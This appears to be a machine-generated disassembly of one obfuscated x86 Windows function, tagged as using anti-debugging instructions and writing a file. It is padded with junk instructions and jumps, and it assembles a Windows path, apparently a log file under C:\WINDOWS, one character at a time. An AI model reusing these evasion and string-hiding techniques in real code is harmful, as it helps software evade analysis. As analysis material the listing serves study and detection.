Function at 0x10171704
Capabilities:
Execute anti-debugging instructions
Write file on windows

Disassembly:
push ebx
jmp 0x1044f5d9
jne 0x10252eea
mov eax, dword [ebp - 0x324]
bswap cx
push eax
movsx ecx, dx
jmp 0x101d2d67
push 0x12204710
call fcn.1036a8cc
mov byte [ebp - 0x45], 0x46
jmp 0x101bd4c7
call fcn.1005c4f9
mov eax, dword [ebp - 0x324]
cmp dx, 0x38d3
test ebp, 0x5513464a
stc
add esp, 0x14
jmp 0x1002ffd9
jne 0x1026625d
mov ecx, dword [ebp - 0x324]
push ecx
cdq
cwd
push 1
lea edx, [ebp - 0x48]
jmp 0x103322e0
jne 0x103cc043
cmp dword [0x1011b1dc], ebx
jmp 0x10415490
mov word [ebp - 0xa], ax
shl ax, cl
mov word [ebp - 0xe], cx
sar ah, 0xee
push edx
lea eax, [ebp - 0x324]
cmp bp, 0x2775
cmc
jmp 0x102f8efd
call 0x103439da
cmp eax, ebx
jmp 0x1024f7fd
call edx
lea esp, [ebp - 0x340]
pop edi
bsr esi, ebx
sal bh, cl
sbb esi, eax
pop esi
rcl bh, 0xce
sub bx, si
shr bx, cl
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005a469
mov esp, ebp
mov ebp, 0x22b1145b
bswap ebp
pop ebp
ret 0x10
mov byte [ebp - 0x44], bl
jmp 0x104541f5
push 1
movzx ecx, dx
mov cl, 0x60
lea ecx, [ebp - 0x50]
jmp 0x1035b6c4
mov byte [ebp - 0x4d], 0x46
jmp 0x103cea7f
push eax
bswap dx
push ebx
cdq
jmp 0x1042a7f2
call fcn.1005c2ed
mov eax, dword [ebp - 0x324]
jmp 0x103ed820
cmp byte [0x9dc910], bl
jmp 0x10406f53
call fcn.100609c0
add esp, 0xc
jmp 0x1000aeae
call dword [0x100d32b8]
test eax, eax
jmp 0x1017cb92
jbe 0x103e9e6a
call fcn.1012a6b5
test al, al
je 0x103cc043
push 0xc6
sub cl, 0xec
ror cl, 0x34
bsf cx, di
lea ecx, [ebp - 0x116]
cmc
stc
test edx, 0x122f6b16
sub eax, eax
push ebx
jmp 0x10317335
push 7
movsx ecx, si
cmovo ecx, edi
mov ch, 0x24
lea ecx, [ebp - 0x40]
jmp 0x10365e48
mov eax, dword [0x1011d580]
test al, 0x3b
sub eax, dword [0x1011d57c]
cmp eax, edx
cmc
sar eax, 2
cmp edi, 0x6cfc55dc
cmp esi, eax
jmp 0x103e1f78
call fcn.1005ac80
add esp, 4
mov dx, 0x1583
setb dh
cdq
push 7
movzx edx, cx
lea edx, [ebp - 0x40]
jmp 0x103920a2
jb 0x102cc7a0
call fcn.1005bdd8
mov ecx, dword [0x1011d57c]
mov dh, dl
setge dl
mov edx, dword [ecx + esi*4]
jmp 0x1042b678
push eax
jmp 0x1042f58e
xor ecx, ecx
jmp 0x104507b5
push ecx
jmp 0x1026624d
push edx
jmp 0x1019f1ea
mov word [ebp - 0x118], ax
jmp 0x1038ba17
call 0x1019810c
test eax, eax
je 0x103fbda7
cmp dword [ebp - 0x330], 0x103
jne 0x1022a12f
mov eax, dword [0x1011d580]
sub eax, dword [0x1011d57c]
stc
test di, di
sar eax, 2
stc
jmp 0x1034e152
push ecx
jmp 0x1030c503
call 0x1029576a
mov esi, dword [0x1011bd0c]
mov ecx, edi
neg edx
shr ecx, 0x10
shl edx, 0xd8
xchg dl, dl
btc edx, 0xf5
movsx edx, cx
cmp ax, 0x7a65
cmp bl, bh
cmc
add esp, 4
jmp 0x1038b222
call 0x10243bd6
cmp byte [0x9dc910], bl
je 0x103edb10
mov edx, dword [0x1011b67c]
push edx
jmp 0x103edb0b
mov dword [ebp - 0x324], ebx
jmp 0x1039cd1b
push 4
jmp 0x10383bb8
je 0x103edb10
mov eax, dword [0x1011b67c]
jmp 0x10406961
call dword [0x100d32b8]
jmp 0x10389be6
cmp esi, eax
jb 0x1034e15f
call fcn.1005bdd8
mov ecx, dword [0x1011d57c]
xchg dl, dh
mov edx, dword [ecx + esi*4]
jmp 0x1030608c
push edx
jmp 0x10171f89
mov dword [ebp - 0x324], ebx
jmp 0x103b2e44
push 4
push ecx
jmp 0x10423515
push ecx
jmp 0x10321d9e
push eax
jmp 0x1031a1e4
push edx
jmp 0x1020b8aa
call dword [0x100d33d8]
inc esi
clc
test bh, 0xc6
mov dword [ebp - 0x324], esi
cmp esi, dword [ebp - 0x328]
jb 0x10263180
call dword [0x100d3308]
mov dword [0x1011b898], eax
mov ebx, dword [ebp + 0xc]
bsr di, dx
shld di, di, 0xff
btr edi, 0x58
mov edi, dword [ebp + 0x14]
stc
cmp ebx, 0x201
jne 0x10420710
mov esi, dword [0x1011bd08]
movsx eax, di
jmp 0x10373ba7
push edx
jmp 0x10420708
call fcn.100609c0
lea esp, [esp + 0xc]
push 0x206
lea eax, [ebp - 0x31e]
xor edx, edx
jmp 0x10169888
push eax
jmp 0x10346d4b
push edx
call 0x10181b3e
cmp byte [0x9dc910], bl
jmp 0x10337a92
test eax, eax
jmp 0x1016ed54
call fcn.1005add9
lea esp, [esp + 0xc]
cmp esi, edi
jmp 0x1039a02c
call fcn.1005add9
add esp, 0xc
test cl, 0x19
cmp dl, ch
test eax, eax
jmp 0x101739fd
jmp 0x103edb0b
mov eax, dword [0x1011d580]
cmp eax, 0x75874fd9
sub eax, dword [0x1011d57c]
cmc
cmp esp, 0x370a3eb7
cmp esp, ecx
sar eax, 2
cmp dx, di
cmp esi, eax
jmp 0x102cc795
push ecx
jmp 0x103ca99e
mov byte [ebp - 0x4f], 0x43
jmp 0x103d8483
mov byte [ebp - 0x4c], bl
mov word [ebp - 8], ax
jmp 0x1032d7f3
mov byte [ebp - 0x4e], 0x55
jmp 0x101e5709
jb 0x103e1f83
call fcn.1005bdd8
mov ecx, dword [0x1011d57c]
mov edx, dword [ecx + esi*4]
jmp 0x103e242d
lea eax, [ebp - 0x330]
jmp 0x102eba58
mov ecx, dword [0x1011d580]
sub ecx, dword [0x1011d57c]
test esp, 0x17181897
cmc
stc
sar ecx, 2
cmp esi, ecx
jmp 0x10402b31
push eax
call fcn.1005c4f9
mov ecx, dword [ebp - 0x324]
add esp, 0x14
jmp 0x102fdb9f
call 0x10333eee
call fcn.10003320
push 0xbb8
call dword [0x100d33dc]
push ebx
call 0x1030ffa8
push eax
jmp 0x10389be0
je 0x10321da3
mov edx, 0x43
not ah
adc ecx, esi
shl cl, 0xfa
mov word [ebp - 0x40], dx
mov edx, 0x57
adc eax, ebp
xor ax, bx
sar eax, 0x53
mov word [ebp - 0x3a], dx
not ecx
bsf ax, dx
stc
mov eax, 0x3a
mov word [ebp - 0x3e], ax
shr eax, cl
setne cl
mov ecx, 0x5c
mov word [ebp - 0x3c], cx
add edx, ecx
bsf ax, bp
mov edx, 0x44
shr ecx, 0xa8
sal cx, 0x92
mov word [ebp - 0x34], dx
adc ecx, ecx
ror cx, cl
mov eax, 0x49
sal cl, cl
bsf ecx, esi
and ecx, 0x6b826c3d
mov word [ebp - 0x38], ax
and ecx, 0x58222934
cmc
jmp 0x104486c3
cmp dword [0x1011b1dc], ebx
jmp 0x103f299c
jb 0x10402b3c
call fcn.1005bdd8
mov edx, dword [0x1011d57c]
mov eax, dword [edx + esi*4]
jmp 0x1038e2f7
push eax
jmp 0x103edb0b
je 0x103edb10
mov ecx, dword [0x1011b67c]
jmp 0x103cc121
je 0x103920a8
mov eax, 0x43
mov word [ebp - 0x40], ax
rol dl, cl
not dh
mov eax, 0x57
or dx, bp
sub dx, bx
mov word [ebp - 0x3a], ax
shrd dx, bx, 0xd
mov ecx, 0x3a
shld ax, sp, 0x2f
adc ax, sp
mov word [ebp - 0x3e], cx
xadd dh, cl
bsr cx, bp
mov edx, 0x5c
sbb cx, di
rcl al, cl
sal ecx, 0x5d
mov word [ebp - 0x3c], dx
btc cx, 0xb0
adc edx, 0x140e0c85
mov eax, 0x44
sar cl, cl
mov word [ebp - 0x34], ax
btr edx, esp
cwde
mov ecx, 0x49
rdtsc
rcr edx, 0xc0
btc ax, sp
mov word [ebp - 0x38], cx
mov edx, 0x4e
mov word [ebp - 0x36], dx
movsx dx, cl
mov edx, 0x57
bts cx, cx
cmovns eax, edx
add al, 0xf7
mov word [ebp - 0x30], dx
btr ecx, 0xc4
rol ch, cl
mov word [ebp - 0x2a], dx
movsx ecx, bx
and ax, 0x57e5
mov eax, 0x53
neg ecx
test dx, 0x2269
mov word [ebp - 0x2e], ax
cdq
bt cx, ax
btr eax, 0xc3
mov ecx, 0x4f
shr dh, 0x31
mov word [ebp - 0x32], cx
movsx ax, al
rol dh, 0x57
mov eax, 0x69
mov word [ebp - 0x28], ax
mov ecx, 0x5c
shrd edx, edi, 0x1f
mov word [ebp - 0x2c], cx
mov edx, 0x64
ror ecx, 0x31
rcr ax, cl
mov word [ebp - 0x24], dx
movzx ecx, di
mov eax, 0x6f
bts ecx, esi
mov word [ebp - 0x22], ax
shl ax, 0x95
lahf
mov ecx, 0x6e
mov word [ebp - 0x26], cx
and cx, 0x398f
sar ecx, cl
mov edx, 0x73
setg ch
mov word [ebp - 0x1e], dx
mov eax, 0x55
sar ch, cl
mov word [ebp - 0x1c], ax
stc
or ch, cl
mov ecx, 0x77
sal al, 0xf2
mov word [ebp - 0x20], cx
mov edx, 0x70
xadd ax, ax
and ecx, edi
mov word [ebp - 0x18], dx
mov eax, 0x65
mov word [ebp - 0x16], ax
mov ecx, 0x64
mov word [ebp - 0x1a], cx
movzx ax, dh
adc cx, sp
mov edx, 0x61
shrd ax, di, 0xb4
inc eax
mov word [ebp - 0x12], dx
rcr dl, 0xed
mov eax, 0x2e
adc dl, 0x8c
mov ecx, 0x74
mov word [ebp - 0x10], ax
rcl dh, 0x32
sal eax, 0x8e
test ecx, ebx
mov edx, 0x6f
mov word [ebp - 0x14], cx
add ax, 0x5d65
mov word [ebp - 0xc], dx
movsx ecx, ax
or ecx, esp
mov eax, 0x67
xchg ch, dh
cmovns ecx, ecx
mov ecx, 0x6c
bsf dx, si
push 0x100fa68c
lea edx, [ebp - 0x40]
cmp bp, 0x19b1
jmp 0x101913b8
call fcn.1038d669
add esp, 4
mov eax, dword [ebp + 0x10]
bswap edx
cwd
mov ecx, dword [ebp - 0x32c]
not edx
cwd
push edi
jmp 0x102020e1
call fcn.1005c2ed
mov edx, dword [ebp - 0x324]
jmp 0x10357734
push ecx
mov edx, 0x4d2c70
jmp 0x101afae4
mov word [ebp - 0xa], dx
ror edx, 0xe4
neg dx
cmp cl, 0x2b
mov word [ebp - 0xe], ax
btr dx, bx
test sp, 0x29bf
push ecx
lea edx, [ebp - 0x324]
cmp dx, ax
cmc
clc
sub eax, eax
push edx
mov byte [ebp - 0x50], 0x4b
jmp 0x103cc9d4
push edx
jmp 0x10236828
push edx
jmp 0x10310aae
mov ecx, 0x4e
mov word [ebp - 0x36], cx
mov ecx, 0x57
xor edx, 0x10964516
cwde
neg ah
mov word [ebp - 0x30], cx
mov word [ebp - 0x2a], cx
mov edx, 0x53
mov word [ebp - 0x2e], dx
mov eax, 0x4f
rol ecx, 0xab
mov ecx, eax
mov word [ebp - 0x32], ax
mov ch, 0x8d
mov edx, 0x69
mov word [ebp - 0x28], dx
adc dx, 0x7a18
shrd edx, ebx, 0xc9
shld eax, eax, 0xd5
mov eax, 0x5c
dec ch
mov word [ebp - 0x2c], ax
mov ecx, 0x64
adc edx, 0xc1c6108
cdq
mov word [ebp - 0x24], cx
ror dx, cl
mov edx, 0x6f
btr cx, si
xadd cx, cx
mov word [ebp - 0x22], dx
mov eax, 0x6e
cwd
xadd dl, dl
not edx
mov word [ebp - 0x26], ax
test edi, edi
adc dh, 0xbf
mov ecx, 0x73
bsr ax, ax
mov word [ebp - 0x1e], cx
rcr dl, cl
mov edx, 0x55
mov word [ebp - 0x1c], dx
cwd
dec ah
mov eax, 0x77
or dx, 0x3113
sal dh, cl
mov word [ebp - 0x20], ax
btc dx, sp
shl ch, cl
mov ecx, 0x70
shr ax, cl
neg ax
mov word [ebp - 0x18], cx
movzx eax, dx
mov edx, 0x65
sub ch, 0x43
stc
mov word [ebp - 0x16], dx
mov eax, 0x64
mov word [ebp - 0x1a], ax
rcr ax, 3
mov ecx, 0x61
bts edx, ebp
adc ax, sp
mov word [ebp - 0x12], cx
mov edx, 0x2e
mov eax, 0x74
shl cx, cl
mov word [ebp - 0x10], dx
setg ch
shr dl, cl
btr dx, cx
mov ecx, 0x6f
mov word [ebp - 0x14], ax
bts dx, cx
rcr ah, 0x5b
mov word [ebp - 0xc], cx
movzx ecx, sp
adc ch, 9
xchg al, ah
mov edx, 0x67
mov eax, 0x6c
and cx, 0x3728
dec cl
mov cx, 0x1245
push 0x100fa68c
lea ecx, [ebp - 0x40]
jmp 0x1042a968
push eax
mov word [ebp - 0x320], dx
jmp 0x1022e452
push eax
jmp 0x10456a2d
mov word [ebp - 8], cx
jmp 0x10359f74
mov byte [ebp - 0x48], 0x4b
mov byte [ebp - 0x47], 0x43
mov byte [ebp - 0x46], 0x55
jmp 0x1017170e